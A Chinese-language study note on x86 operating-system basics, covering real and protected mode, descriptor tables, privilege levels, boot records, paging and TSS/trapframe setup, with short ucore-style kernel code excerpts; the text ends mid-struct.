0%

陷入内核

如果把软件分层的话, 最外圈是应用程序,里面是操作系统,应用程序处于特权级 3(ring 3),操作系统内核处于特权级 0(ring 0),当用户程序欲访问系统资源时(无论是硬件,还是内核数据结构),它需要进行系统调用,这样 CPU 便进入了内核态,也称看图中凹下去的部分,是不是有陆进去的感觉,这就是“陷入内核”

实模式(20位)

实模式出现于早期8088CPU时期,当时由于CPU的性能有限,一共只有20位地址线(所以地址空间只有1MB),以及8个16位的通用寄存器,以及4个16位的段寄存器,所以为了能够通过这些16位的寄存器去构成20位的主存地址,必须采取一种特殊的方式,当某个指令想要访问某个内存地址时,它通常需要用下面的这种格式来表示:

1
(段基址:段偏移量)
  • 第一个字段是段基址:它的值是由 段寄存器 提供的(一般来说,段寄存器有6种,分别为cs,ds,ss,es,fs,gs,这几种段寄存器都有自己的特殊意义)
  • 第二字段是段内偏移量:代表你要访问的这个内存地址距离这个段基址的偏移它的值就是由通用寄存器来提供的,所以也是16位
  • 那么两个16位的值如何组合成一个20位的地址呢?CPU采用的方式是把段寄存器所提供的段基址先向左移4位,这样就变成了一个20位的值,然后再与段偏移量相加

保护模式 (32位)

随着CPU的发展,CPU的地址线的个数也从原来的20根变为现在的32根,所以可以访问的内存空间也从1MB变为现在4GB,寄存器的位数也变为32位,所以实模式下的内存地址计算方式就已经不再适合了,所以就引入了现在的保护模式,实现更大空间的,更灵活也更安全的内存访问

我们的偏移值和实模式下是一样的,就是变成了32位而已,而段值仍旧是存放在原来16位的段寄存器中, 但是这些段寄存器存放的却不再是段基址了 ,毕竟之前说过实模式下寻址方式不安全,我们在保护模式下需要加一些限制,而这些限制可不是一个寄存器能够容纳的,于是我们把这些关于内存段的限制信息放在一个叫做 全局描述符表(GDT) 的结构里

保护模式 VS 实模式

  • 实模式的不足
    • 实模式下操作系统和用户程序属于同一特权级,没有区别对待
    • 用户程序所引用的地址都是指向真实的物理地址,也就是说逻辑地址等于物理地址,实实在在地 指哪打哪
    • 用户程序可以自由修改段基址,可以不亦乐乎地访问所有内存,没人拦得住
    • 访问超过 64KB 的内存区域时要切换段基址,转来转去容易晕乎
    • 一次只能运行一个程序,无法充分利用计算机资源
    • 共 20 条地址线,最大可用内存为1MB ,这即使在 20 年前也不够用
  • 保护模式的优越
    • 建立了全局描述符表(GDT),用于存储寄存器存不下的信息
      • 实模式中直接把偏移地址写在段寄存器上
      • 保护模式则存储在GDT中并添加了许多“约束条件”,而寄存器中则写入段选择子用于索引对应的段信息
    • 寻址方式扩展
      • 实模式下对于内存寻址来说:“基址寻址、变址寻址、基址变址寻址”这三种形式中的基址寄存器只能是 “bx,bp”,变址寄存器只能是 “si,di”,也就是说,只能用这4个寄存器
      • 总之实模式下的寄存器有固定的使命,对于寻址来说,若想用其他的寄存器,甭说 CPU 报不报错,就连编译这关都过不了
      • 在保护模式下,这一切都不同了,同样是在内存寻址中,基址寄存器不再只是 “bx,bp”,而是所有 32 位的通用寄存器,变址寄存器也是一样,不再只是 “si,di”,而是除 esp 之外的所有 32 通用寄存器
    • 指令扩展
      • 在16位的实模式下, CPU 的操作数是16位,在32位的保护模式下,操作数扩展到了32位,于是涉及到操作数变化的指令也要跟着扩展,既要兼容16位的操作数,也要支持32位的操作数

保护模式的开关

控制寄存器 CRx 系列是 CPU 的窗口,既可以用来展示 CPU 的内部状态,也可用于控制 CPU 的运行机制,进入保护模式,关键就是 CR0 的PE字段

  • PE=0 表示在实模式下运行
  • PE=1 表示在保护模式下运行

保护模式的保护机制

  • 向段寄存器加载选择子时的保护:
    • 当引用一个内存段时,实际上就是往段寄存器中加载个选择子,为了避免出现非法引用内存段的情况, 在这时候,处理器会在以下几方面做出检查:
    • 验证段描述符是否超越界限
      • 保护内容:
        • 选择子的索引值一定要小于等于描述符表(GOT LDT)中描述符的个数
      • 保护实现:
        • 处理器先检查 TI 的值
          • 如果 TI=0,则从全局描述符表寄存器 gdtr 中拿到 GOT 基地址和 GOT 界限值
          • 如果 TI=1,则从局部描述符表寄存器 ldtr 中拿到 LDT 基地址和 LDT 界限值
        • 然后把“选择子的高13位”代入以下的表达式
          • 描述符表基地址+选择子中的索引值*8+7 <= 描述符表基址+标识符表界限值
          • 若不成立,处理器则抛出异常
    • 代码段和数据段的保护
      • 保护内容:
        • 对于代码段和数据段来说,CPU 每访问一个地址,都要确认该地址不能超过其所在内存段的范围
    • 栈段的保护

全局描述符表

全局描述符表中含有一个个表项,每一个表项称为 段描述符 ,而段寄存器在保护模式下存放的便是相当于一个数组索引的东西,通过这个索引,可以找到对应的表项,段描述符存放了段基址、段界限、内存段类型属性(比如是数据段还是代码段,注意 一个段描述符只能用来定义一个内存段)等许多属性,具体信息见下图:

全局描述符表位于内存中,需要用专门的寄存器指向它后,CPU 才知道它在哪里,这个专门的寄存器便是 GDTR (一个48位的寄存器),专门用来存储 GDT 的内存地址及大小

  • 段界限:表示段边界的扩张最值,即最大扩展多少或最小扩展多少,用20位来表示,它的单位可以是字节,也可以是4KB,这是由G位决定的
  • G位:G为0时表示单位为字节,G为1时表示单位为4KB
  • 段基址:真正的段基址(共分为3部分来存储)
  • TYPE字段:用来指定本描述符的类型
    • 什么是系统段?各种称为“门”的结构便是系统段,也就是硬件系统需要的结构,非软件使用的调用门、任务门
    • 简而言之,门的意思就是入口,它通往一段程序
    • TYPE字段共4位,用于表示内存段或门的子类型
  • S位:S为0时表示系统段,S为1时表示数据段)
    • 一个段描述符,在 CPU 眼里分为两大类,要么描述的是系统段,要么描述的是数据段
    • 凡是硬件运行需要用到的东西都可称之为系统
    • 凡是软件需要的东西都称为数据,无论是代码,还是数据,甚至包括栈,它们都作为硬件的输入,都是给硬件的数据而己,所以代码段在段描述符中也属于数据段
  • DPL字段:Descriptor Privilege Level ,即描述符特权级
    • 这是保护模式提供的安全解决方案,将计算机世界按权力划分成不同等级,每一种等级称为一种特权级(分为 ring0 ~ ring3)
    • 特权级是保护模式下才有的东西,CPU 由实模式进入保护模式后,特权级自动为0
      • 因为保护模式的代码已经是操作系统的一部分了,所以操作系统应该处于最高的0特权级
      • 用户程序通常处于3特权级,权限最小
      • 某些指令只能在0特权级下执行,从而保证了安全
  • P位:Present,即段是否存在
    • 如果该段存在于内存中,则P为1,反之P为0
    • P位是由CPU来检查的,如果P为0,则CPU将会抛出异常然后跳转到对应的异常处理程序,然后把P改为1(这个异常处理程序是由开发人员来写的)
  • AVL位:从名字上看它是 AVaiLable,可用的
    • 不过这“可用的”是对用户来说的,也就是操作系统可以随意用此位,对硬件来说,它没有专门的用途
  • L位:用来设置是否是 64 位代码段
    • L为1表示64位代码段,否则表示32位代码段
  • D/B位:用来指示有效地址(段内偏移地址)及操作数的大小
    • 对于代码段来说,此位是D位
      • 若D为0,表示指令中的有效地址和操作数是16位,指令有效地址用IP寄存器
      • 若D为1,表示指令中的有效地址及操作数是32位,指令有效地址用EIP寄存器
    • 对于栈段来说,此位是B位,用来指定操作数大小(此操作数涉及到“对栈指针寄存器的选择”以及“栈的地址上限”)
      • 若B为0,使用的是sp寄存器,使用16位寄存器(最大寻址范围:0~0xFFFF)
      • 若B为1,使用的是esp寄存器,使用32位寄存器(最大寻址范围:0~0xFFFFFFFF)
  • 段的选择子:(在段寄存器 CS、 DS、 ES、 FS、 GS、 SS 中)
    • 在实模式下时,段中存储的是段基地址,即内存段的起始地址
    • 而在保护模式下时,由于段基址已经存入了段描述符中(各个段描述符组织为GDT表),所以段寄存器中再存放段基址是没有意义的,在段寄存器中存入的是一个叫作选择子的东西
    • 选择子“基本上”是个索引值(虽然它还有其他内容,暂时忽略), 就是 GDT 中的下标,段选择子的结构如下:
  • RPL:请求特权级别,通俗的讲我用什么权限来请求
  • TI:TI=0时,查GDT表,TI=1时,查LDT表
  • Index:处理器将索引值乘以8在加上GDT或者LDT的基地址,就是要加载的段描述符

局部描述符表

CPU 厂商建议每个任务的私有内存段都应该放到自己的段描述符表中,该表就是局部描述符表(LDT),即每个任务都有自己的 LDT ,随着任务切换,也要切换相应任务的 LDT

  • LDT 局部描述符表可以有若干张,每个任务可以有一张
  • LDT 也位于内存中,其地址需要先被加载到某个寄存器后,CPU 才能使用 LDT,该寄存器是 LDTR(即 LDT Register)
  • LDT 跟 GDT 差不多,跳转的时候选择子的TI=0我们就用 GDT,如果TI=1我们就用 LDT
    • TI=0时:CS:IP=全局描述符表中第 1(0x8>>3) 项描述符给出的段基址 +0 的偏移地址
    • TI=1时:CS:IP=局部描述符表中第 1(0x8>>3) 项描述符给出的段基址 +0 的偏移地址

LDT 的使用步骤如下:

  • 定义一个局部描述符表 LDT
  • 在 GDT 中定义一个描述符 Descriptor_LDT:
    • 其基地址用 LDT 的起始地址填充
    • 描述符 Descriptor_LDT 的选择子为 SelectorLDT
  • 用 lldt 命令加载 lgtr
  • jmp时的选择子 TI=1 就可以了

物理地址,有效地址,虚拟地址

  • 物理地址:
    • 就是物理内存真正的地址,相当于内存中每个存储单元的门牌号,具有唯一性
    • 在实模式下,“段基址+段内偏移地址”经过段部件的处理,直接输出的就是物理地址
    • 物理地址=块号+页内地址
  • 有效地址(逻辑地址):
    • 无论在实模式或是保护模式下,段内偏移地址又称为有效地址,也称为逻辑地址(这是程序员可见的地址)
    • 逻辑地址=页号+页内地址
  • 虚拟地址(线性地址):
    • 在保护模式下,“段基址+段内偏移地址”称为线性地址,不过,此时的段基址已经不再是真正的地址,而是个被称为选择子的东西(它本质是个索引,类似于数组下标,通过这个索引便能在 GDT 中找到相应的段描述符)
    • 若开启了分页功能,那么线性地址又多了个名字,就就是虚拟地址,虚拟地址要经过页部件转换成具体的物理地址,这样 CPU 才能将其送上地址总线去访问内存

OSI七层模型

编译型语言&解释型语言

  • 解释型语言
    • 也称为脚本语言,如 JavaScript Python Perl PHP Shell 脚本等,它们本身是文本文件,是某个应用程序的输入,这个应用程序是脚本解释器
    • 脚本中的代码从来没真正上过 CPU 去执行, CPU CS: ip 寄存器从来没指向过它们,在 CPU 眼里只看得到脚本解释器,而这些脚本中的代码, CPU 从来就不知道有它们的存在
    • 这些脚本代码看似在按照开发人员的逻辑执行,本质上是脚本解释器在时时分析这个脚本,动态根据关键字和语法来做出相应的行为
  • 编译型语言
    • 编译型语言编译出来的程序运行时本身就是一个进程它是由操作系统直接调用的,也就是由操作系统加载到内存后,操作系统将 CS: IP 寄存器指向这个程序的入口,使它直接上 CPU 运行
    • 总之调度器在就绪队列中能看到此进程,而解释型程序是无法让调度器“入眼”的,调度器只会看到该脚本语言的解释器

BIOS中断,DOS中断,Linux中断

BIOS DOS 都是存在于实模式下的程序,由它们建立的中断调用都是建立在中断向量表(Interrupt Vector Table,IVT)中的,它们都是通过软中断指令 int 中断号来调用的

中断向量表中的每个中断向量大小是4字节,这4字节描述了一个中断处理例程(程序)的段基址和 段内偏移地址,因为中断向量表的长度为 1024 字节,故该表最多容纳 256 个中断向量处理程序,计算机启动之初,中断向量表中的中断例程是由 BIOS 立的,它从物理内存地址 0x0000 处初始化并在中断向量表中添加各种处理例程

  • BIOS中断
    • BIOS中断调用的主要功能是提供了硬件访问的方法,该方法使对硬件的操作变得简单易行
    • BIOS也是一段程序,是程序就很可能要重复性地执行某段代码,它直接将其写成中断函数,直接调用多省心
    • BIOS中断还可以给后来的程序用,如加载器或 boot loader,它们在调用硬件资源时就不需要自己重写代码了
  • DOS中断
    • DOS是运行在实模式下的,故其建立的中断调用也建立在中断向量表中,只不过其中断向量号和 BIOS 的不能冲突
    • DOS中断只占用 0x21 这个中断号,也就是 DOS 只有这一个中断例程
    • DOS中断调用中那么多功能是如何实现的:通过先往 ah 寄存器中写好子功能号,再执行 int 0x21 这时在中断向量表中第 0x21 个表项(即物理地址 0x21*4 处中的中断处理程序),开始根据寄存器 ah 中的值来调用相应的子功能
  • Linux中断
    • Linux 内核是在进入保护模式后才建立中断例程的,不过在保护模式下,中断向量表己经不存在了,取而代之的是中断描述符表(Interrupt Descriptor Table,IDT)
    • Linux 的系统调用和 DOS 中断调用类似,不过 Linux 是通过 int 0x80 指令进入一个中断程序后再根据 eax 寄存器的值来调用不同的子功能函数的(ebx,ecx,edx作为参数)

魔数

魔数,其实也称为神奇数字,它被用来为重要的数据定义标签,用独特的数字唯一地标识该数据

案例:

  • 主引导记录最后的两个字节的内容是 0x55, 0xaa,这表明这个扇区里面有可加载的程序, BIOS 就用它来校验该扇区是否可引导
  • 各分区都有超级块,一般位于本分区的第2个扇区,超级块里面记录了此分区的信息,其中就有文件系统的魔数,一种文件系统对应一个魔数,比对此值便知道文件系统类型

MBR,EBR,DBR,OBR

计算机在接电之后运行的是基本输入输出系统 BIOS,而 BIOS 是位于主板上的一个小程序,其所在的空间有限,代码量较少,功能受限,因此它不可能一人扛下所有的任务需求,也就是肯定不能充 当操作系统的角色,必须采取控制权接力的方式,一步步地让处理器执行更为复杂强大的指令,最终把处理器的使用权交给操作系统,这才让计算机走上了正轨,从而可以完成各种复杂的功能

采用接力式控制权交接,BIOS 只完成一些简单的检测或初始化工作,然后找机会把处理器使用权交出去:下一个接力棒的选手是 MBR(为了方便 BIOS 找到 MBR,MBR 必须在固定的位置等待,因此位于整个硬盘最开始的扇区)

  • MBR(Main Boot Record)

    • MBR 是主引导记录,它存在于整个硬盘最开始的那个扇区,即 0盘 0道 1扇区,这个扇区便称为 MBR 引导扇区
    • MBR 引导扇区中的内容是:446字节的引导程序及参数(bootloader),64字节的分区表,2字节结束标记 0x55 0xaa
  • OBR(OS Boot Record)

    • 为了 MBR 方便找到活动分区上的内核加载器,内核加载器的入口地址也必须在固定的位置,这个位置就是各分区最开始的扇区,这个“各分区起始的扇区”中存放的是操作系统引导程序 一一 内核加载器
    • 因此该扇区称为操作系统引导扇区,其中的引导程序(内核加载器)称为操作系统引导记录 OBR(即 OS Boot Recod),此扇区也被称为 OBR 引导扇区
  • DBR(DOS Boot Record)

    • OBR 是从 DBR 遗留下来的, 要想了解 OBR,还是先从了解 DBR 开始,DBR(DOS Boot Record),也就是 DOS 操作系统的引导记录
    • DBR 中的内容大概是:
      • 跳转指令,使 MBR 跳转到引导代码
      • 厂商信息、 DOS 版本信息
      • BIOS 参数块 BPB(即 BIOS Parameter Block)
      • 操作系统引导程序
      • 结束标记 0x55 和 0xaa
    • 在 DOS 时代只有4个分区,不存在扩展分区,这4个分区都相当于主分区,所以各主分区最开始的扇区称为 DBR 引导扇区,后来有了扩展分区之后,无论分区是主分区,还是逻辑分区,为了兼容,分区最开始的扇区都作为 DOS 引导扇区
    • 后来 DOS 也退出历史舞台了,所以 DBR 也称为 OBR
  • EBR(Expand Boot Record)

    • 当初为了解决分区数量限制的问题才有了扩展分区, EBR 是扩展分区中为了兼容 MBR 才提出的概念,主要是兼容 MBR 中的分区表
    • EBR 位于各子扩展分区中最开始的扇区(注意:各主分区和各逻辑分区中最开始的扇区是操作系统引导扇区),理论上 MBR 只有1个,但 EBR 有无数个

接力式控制权交接

BIOS主导

BIOS 是计算机上第一个运行的软件,但它不可能自己加载自己,由此可以知道,它是由硬件加载的 —— 只读存储器 ROM(只读存储器中的内容是不可擦除的)

BIOS 代码所做的工作也是一成不变的,而且在正常情况下,其本身是不需要修改的(平时听说的那些主板坏了要刷 BIOS 的情况属于例外),于是 BIOS 顺理成章地便被写进此 ROM

此 ROM 被映射在低端 lMB 内存的顶部,即地址 0xF0000 ~ 0xFFFFF 处,只要访问此处的地址便是访问了 BIOS(这个映射是由硬件完成的),在开机的瞬间,也就是接电的一瞬间,CPU CS: IP 寄存器被强制初始化为 0xF000: 0xFFF0 (指向有效地址 0xFFFF0),此地址便是 BIOS 的入口地址

因为 BIOS 是在实模式下运行的,而实模式只能访问 1MB 空间(20位地址线,2的20次方是1MB)而地址 0xFFF0 距离 1MB 只有16个字节了,肯定不能完成全部的工作,所以此处的代码只能是个跳转指令 jmp far f000:e05b(即跳向了 0xfe05b 处,这是 BIOS 代码真正开始的地方)

接下来 BIOS 便马不停蹄地检测内存、显卡等外设信息,当检测通过,并初始化好硬件后,开始在内存中 0x000 ~ 0x3FF 处建数据结构,中断向量表 IVT 并填写中断例程,BIOS 最后一项工作就是校验启动盘中位于“0盘0道1扇区”的内容

MBR主导

BIOS 将会加载存储设备上,第一个扇区(通常512字节)到内存(0x7c00),然后跳转到 0x7c00 的第一条地址开始执行,这512字节就是 MBR,其中包含了BootLoader(最后两字节固定)

通常,MBR 的任务是加载某个程序(这个程序一般是内核加载器,很少有直接加载内核的)到指定位置,并将控制权交给它(所谓的交控制权就是 jmp 去而己),之后 MBR 就没用了,被覆盖也没关系

MBR 的大小必须是 512 字节,这是为了保证 0x55 0xaa 这两个魔数恰好出现在该扇区的最后两个字节处(即第 510 字节处和第 511 字节处),由于我们的 bochs 模拟的是 x86 平台,所以是小端字节序,故其最后两个字节内容是 0xaa55

A20地址线

地址(Address )线从0开始编号,在 8086/8088 中,只有20位地址线,即 A0 ~ A19

对于 80286 后续的 CPU,虽然地址总线从原来的20位发展到了24位,但它们为了兼容20位的地址线,采用了 A20GATE 来控制 A20 地址线

  • 如果 A20Gate 被打开,当访问到 0x100000 ~ 0x10FFEF 之间的地址时, CPU 将真正访问这块物理内存(正常使用24位的地址线)
  • 如果 A20Gate 被禁止,当访问 0x100000 ~ 0x10FFEF 之间的地址时, CPU 将采用 8086/8088 的地址回绕(为了兼容 8086/8088 的实模式)

获取物理内存容量

Linux 有多种办法可以获取内存容量,如果一种方式失效,它就会尝试其他办法

在 Linux 2.6 内核中,是用 detect_memory 函数来获取内存容量的,其函数在本质上是通过调用 BIOS 中断 0x15 实现的,分别是 BIOS 中断 0x15 的3个子功能,子功能号要存放到寄存器 EAX AX 中,如下:

  • EAX=0xE820:遍历主机上全部内存
  • AX=0xE801:分别检测低 15MB 和 16MB ~ 4GB 的内存,最大支持 4GB
  • AH=0x88:最多检测出 64MB 内存,如果实际内存超过此容量也按照 64MB 返回

分页机制

分页机制是基于分段机制诞生的,它的目的是为了解决分段机制的不足之处:

  • 在保护模式中段寄存器中的内容己经是段选择子,但段选择子最终就是为了要找到段基址,其内存访问的核心机制依然是“段基址:段内偏移地址”,这两个地址在相加之后才是绝对地址,也就是我们所说的线性地址
  • 此线性地址在分段机制下被 CPU 认为是物理地址,直接拿来就能用,也就是说,此线性地址可以直接送上地址总线
  • 这种线性地址与物理地址一一对应的关系不利于 CPU 对多任务的控制(因为 CPU 必须使用连续的内存块来加载程序,而一些细小的内存块则难以利用)

分页机制的关键点就是:

  • 解除线性地址与物理地址一一对应的关系
  • 然后将它们的关系通过某种映射关系重新建立,可以将线性地址映射到任意物理地址

分页机制的作用有两方面:

  • 将线性地址转换成物理地址
  • 用大小相等的页代替大小不等的段
  • CPU 在不打开分页机制的情况下,是按照默认的分段方式进行的,段基址和段内偏移地址经过段部件处理后所输出的线性地址,CPU 就认为是物理地址
  • 如果打开了分页机制,段部件输出的线性地址就不再等同于物理地址了,我们称之为虚拟地址,它是逻辑上的,是假的,不应该被送上地址总线
  • CPU 必须要拿到物理地址才行,此虚拟地址对应的物理地址需要在页表中查找,这项查找工作是由页部件自动完成的

为了要搞清楚页部件的工作原理,必须要搞清楚这两件事:

  • 分页机制的原理
  • 页表的结构

一级页表

页是地址空间的计量单位,并不是专属物理地址或线性地址,只要是 4KB 的地址空间都可以称为一 页,所以线性地址的一页也要对应物理地址的一页

一页大小为 4KB ,这样一来,4GB 地址空间被划分 4GB/4KB=1M 个页,也就是 4GB 空间中可以容纳 1048576 个页,页表中自然也要有 1048576 个页表项,这就是我们要说的一级页表

  • 其实一级页表就是把 4GB 的物理内存拆分为 1M 个 4KB 的内存页
  • 然后操作系统会根据页表的顺序重新编排一个虚拟地址提供给每个进程,使其可以索引到分配给自己的物理内存
    • 对于各个进程来说:
      • 进程看到的,使用的,就是一段连续的 4GB 虚拟地址
      • 好像每个进程都在单独使用计算机的内存空间一样
    • 对于操作系统来说:
      • 操作系统看到的,是各个进程都在使用物理内存上不连续的内存块
      • 而操作系统的任务就是,把这些不连续的物理内存块整合成页表,提供给各个进程

当计算机采用一级页表进行内存管理时:

  • 系统分配出连续的 1K 个内存页,用于充当页表
  • 有一个专门的寄存器来存放页表的地址(CPU不同,寄存器不同)

一级页表的转换过程:

  • 根据线性地址,获取页表项索引和物理页内偏移
  • 根据固定寄存器获取页表的物理地址,然后通过索引获取对应的页表项
  • 页表项里面装有对应的物理页地址
  • 最后通过物理页内偏移计算出具体的物理地址

一级页表的局限

  • 一级页表中的所有表项必须要提前建好,原因是操作系统要占用 4GB 虚拟地址空间的高 1GB ,用户进程占用低 3GB,每个进程都有自己的页表,进程越多,页表占用空间越大
  • 根据局部性原理可知,很多时候,进程在一段时间内只需要访问某几个页面就可以正常运行了,因此也没有必要让整个页面都常驻内存
  • 有时候,我们希望页表在我们需要的时候动态增加,不需要一次性建立好

对应的解决方案就是二级页表

二级页表

无论是几级页表,标准页的尺寸都是 4KB,所以 4GB 线性地址空间最多有 1M 个标准页

  • 一级页表是将这 1M 个标准页放置到一张页表中:
    • 导致这一张页表很大,还必选占用连续的内存空间(连续 1K 个标准页)
    • 并且每个进程都需要一张这个页表
  • 二级页表是将这 1M 个标准页平均放置 1K 个页表中:
    • 每个页表的大小减少了,并且不需要占用连续的内存空间
    • 需要建立一张页表,用来统一管理这些不连续的页表(称为页目录表,或外层页表,或顶层页表)

具体的“平均放置”过程:

  • 将长长的页表进行分组,使每个页面中刚好可以放下一个分组:每个页表项4B,所以每个页面中可以存放1K(1024)个页表项,因此每1K个连续的页表项为一组,每组刚好占一个页面

以32位逻辑地址空间的分页系统为例:

  • 如果采用一级页表,那么页表所占用的内存空间是1MB,而且必须是连续的
  • 现在我们将页表等分成1024份,即产生了1024个页面,并且每个页面有1024个表项(每个表项1B,即每个页面1KB),存储的是页号与物理块号的映射关系
  • 然后我们建立外层页表,由于有1024个页面,所以外层页表有1024个表项(每个表项1B,外层页表1KB),存储的是各个页面的首地址
  • 这样我们就实现了一个两级页表,由于两级页表采用了离散分配的方式,外层页表和每个表项所对应的页面分别存储在不同的物理块中,解决了需要连续存储的问题

当计算机采用二级页表进行内存管理时:

  • 页目录表(Page Directory Table,PDT)装有最多 1KB 个页目录表项(页目录表条目)
    • 页目录表:一级页表
    • 页目录表项:二级页表
    • 相当于在一级页表中装有二级页表
  • 每个页目录表项(Page Table Entry,PTE)都装有最多 1KB 个表项
    • 每个表项都指向一个物理页(和一级页表的情况相同)
    • 此时二级页表就担当起原来一级页表的工作

二级页表的转换过程:

  • 根据线性地址,获取页目录表项索引,页表项索引和物理页内偏移
  • 根据固定寄存器获取页目录表的物理地址,然后通过页目录表项索引获取对应的页目录表项
  • 页目录表项存放着二级页表的物理地址
  • 通过页表项索引获取对应的二级页表项
  • 二级页表项中存放着对应的物理页地址
  • 最后通过物理页内偏移计算出具体的物理地址

页表结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* page table/directory entry flags */
#define PTE_P 0x001 // Present
#define PTE_W 0x002 // Writeable
#define PTE_U 0x004 // User
#define PTE_PWT 0x008 // Write-Through
#define PTE_PCD 0x010 // Cache-Disable
#define PTE_A 0x020 // Accessed
#define PTE_D 0x040 // Dirty
#define PTE_PS 0x080 // Page Size
#define PTE_MBZ 0x180 // Bits must be zero
#define PTE_AVAIL 0xE00 // Available for software use

// The PTE_AVAIL bits aren't used by the kernel or interpreted by the hardware, so user processes are allowed to set them arbitrarily.

#define PTE_USER (PTE_U | PTE_W | PTE_P) // Offset
  • 0 - Present:表示当前PTE所指向的物理页面是否驻留在内存中
  • 1 - Writeable:表示是否允许读写
  • 2 - User:表示该页的访问所需要的特权级(即User(ring 3)是否允许访问)
  • 3 - PageWriteThough:表示是否使用write through缓存写策略
  • 4 - PageCacheDisable:表示是否 不对 该页进行缓存
  • 5 - Access:表示该页是否已被访问过
  • 6 - Dirty:表示该页是否已被修改
  • 7 - PageSize:表示该页的大小
  • 8 - MustBeZero:该位必须保留为0
  • 9-11 - Available:第9-11这三位并没有被内核或中断所使用,可保留给OS使用
  • 12-31 - Offset:目标地址的后20位

线性地址结构

线性地址(linear address)也称虚拟地址virtual address:是一个32位无符号整数,用来表示高达4GB的地址

一级页表:

  • 线性地址的高20位在页表中索引页表项
  • 线性地址的低12位与页表项中的物理地址相加,所求的和便是最终线性地址对应的物理地址

二级页表:

  • 线性地址的高10位(第31~22位)用来在页目录中定位一个页表
    • 也就是这高10位用于定位页目录中的页目录项 PDE
    • PDE 中有页表物理页地址
  • 线性地址的中间10位(第 21~12位)用来在页表中定位具体的物理页
    • 也就是在页表中定位一个页表项 PTE
    • PTE 中有分配的物理页地址
  • 余下的12位(第11~0位)用于页内偏移量

注意:

  • 页目录表(一级页表)内存放二级页表的 物理地址 ,但却使用 线性地址 索引页目录表中的条目
  • 构成线性地址的各个部分都是 偏移或索引

特权级别简述

特权级别(Privilege Level)是存在于 Descriptor(描述符)及 Segment Selector(段选择子,存储在段寄存器以及门描述符中) 中一个数值,当这些 Descriptor 或 Segment Selector 要进行某些操作,或者被别的对象访问时,该数值用于控制它们能够进行的操作或者限制它们的可访问性

特权级共分为四档,分别为0-3:

  • Kernel为第0特权级(ring 0)
  • 用户程序为第3特权级(ring 3)
  • 操作系统保护分别为第1和第2特权级

描述符特权级(DPL,Descriptor Privilege Level)

  • 实施特权级保护的第一步,是为所有可管理的对象赋予一个特权级,以决定谁能访问它们,每个 Descriptor 都具有描述符特权级(DPL,Descriptor Privilege Level)字段,Descriptor 总是指向它所“描述”的目标对象,代表着该对象,因此该字段(DPL)实际上是目标对象的特权级
  • 存储于段描述符中:

当前特权级(CPL,Current Privilege Level)

  • 当处理器正在一个代码段中取指令和执行指令时,那个代码段的特权级叫做当前特权级(CPL,Current Privilege Level),正在执行的这个代码段,其选择子位于段寄存器CS中,其最低两位就是当前特权级的数值
  • 存储于CS寄存器的段选择子中(CS中的DPL就是CPL):

请求特权级(RPL,Request Privilege Level)

  • 我们知道,要将控制从一个代码段转移到另一个代码段,通常是使用 jmpcall 指令,并在指令中提供目标代码段的选择子,以及段内偏移量(入口点),而为了访问内存中的数据,也必须先将段选择子加载到段寄存器DS、ES、FS或者GS中,不管是实施控制转移,还是访问数据段,这都可以看成是一个请求,请求者提供一个段选择子,请求访问指定的段,从这个意义上来说,RPL也就是指请求者的特权级别(RPL,Request Privilege Level)
  • 存储于段选择子中:(段选择子存储于各个段寄存器以及门描述符中:调用门、任务门、中断门、陷阱门)

输出特权级(IOPL,I/O Privilege Level)

  • 除了那些特权级敏感的指令外,处理器还允许对各个特权级别所能执行的I/O操作进行控制,通常,这指的是端口访问的许可权,因为对设备的访问都是通过端口进行的
  • 在处理器的标志寄存器EFLAGS中,位13、位12是IOPL位,也就是输入/输出特权级(IOPL,I/O Privilege Level),它代表着当前任务的I/O特权级别,某些指令,例如 IN,OUT,CLI 需要 I/O 特权,这些操作根据 IOPL 和 CPL 确定合法性
  • 存储于EFLAGS中:

特权级别运用

特权级检查

在下述的特权级比较中,需要注意特权级越低,其ring值越大:

  • 访问门时(中断、陷入、异常),要求 DPL[段] <= CPL <= DPL[门] (ring值比较)
    • 访问门的代码权限比门的特权级要高,因为这样才能访问门(CPL <= DPL[门])
    • 但访问门的代码权限比被访问的段的权限要低,因为通过门的目的是访问特权级更高的段,这样就可以达到低权限应用程序使用高权限内核服务的目的(CPL <= DPL[门])
    • 简述:代码权限低于段权限时,可以通过访问门的方式来访问段
  • 访问段时,要求 DPL[段] >= max {CPL, RPL} (ring值比较)
    • 只能使用最低的权限来访问段数据
    • 简述:请求权限与当前权限只要有一个低于段权限,就会导致访问失败

特权级切换

TSS

TSS(Task State Segment)是操作系统在进行进程切换时保存进程现场信息的段,其结构如下:

  • TSS中分别保留了 ring0、ring1、ring2 的栈,当用户程序从 ring3 跳至 ring0 时(例如执行中断),此时的栈就会从用户栈切换到内核栈,切换栈的操作从开始中断的那一瞬间就已完成(例如:从int 0x78到中断处理例程之间)
  • TSS段的段描述符保存在GDT中,其 ring0 的栈会在初始化GDT时被一起设置,TR 寄存器会保存当前TSS的段描述符,以提高索引速度
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static struct segdesc gdt[] = {
SEG_NULL,
[SEG_KTEXT] = SEG(STA_X | STA_R, 0x0, 0xFFFFFFFF, DPL_KERNEL),
[SEG_KDATA] = SEG(STA_W, 0x0, 0xFFFFFFFF, DPL_KERNEL),
[SEG_UTEXT] = SEG(STA_X | STA_R, 0x0, 0xFFFFFFFF, DPL_USER),
[SEG_UDATA] = SEG(STA_W, 0x0, 0xFFFFFFFF, DPL_USER),
[SEG_TSS] = SEG_NULL,
};
static struct pseudodesc gdt_pd = {
sizeof(gdt) - 1, (uintptr_t)gdt
};

/* gdt_init - initialize the default GDT and TSS */
static void
gdt_init(void) {
// 设置TSS的ring0栈地址,包括esp寄存器和SS段寄存器
load_esp0((uintptr_t)bootstacktop);
ts.ts_ss0 = KERNEL_DS;

// 将TSS写入GDT中
gdt[SEG_TSS] = SEGTSS(STS_T32A, (uintptr_t)&ts, sizeof(ts), DPL_KERNEL);

// 加载GDT至GDTR寄存器
lgdt(&gdt_pd);

// 加载TSS至TR寄存器
ltr(GD_TSS);
}

trapFrame

trapframe 结构是进入中断门所必须的结构,中断处理例程的入口代码用于保存上下文并构建一个 trapframe

trapframe 的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct trapframe {
// tf_regs保存了基本寄存器的值,包括eax,ebx,esi,edi寄存器等等
struct pushregs tf_regs;
uint16_t tf_gs;
uint16_t tf_padding0;
uint16_t tf_fs;
uint16_t tf_padding1;
uint16_t tf_es;
uint16_t tf_padding2;
uint16_t tf_ds;
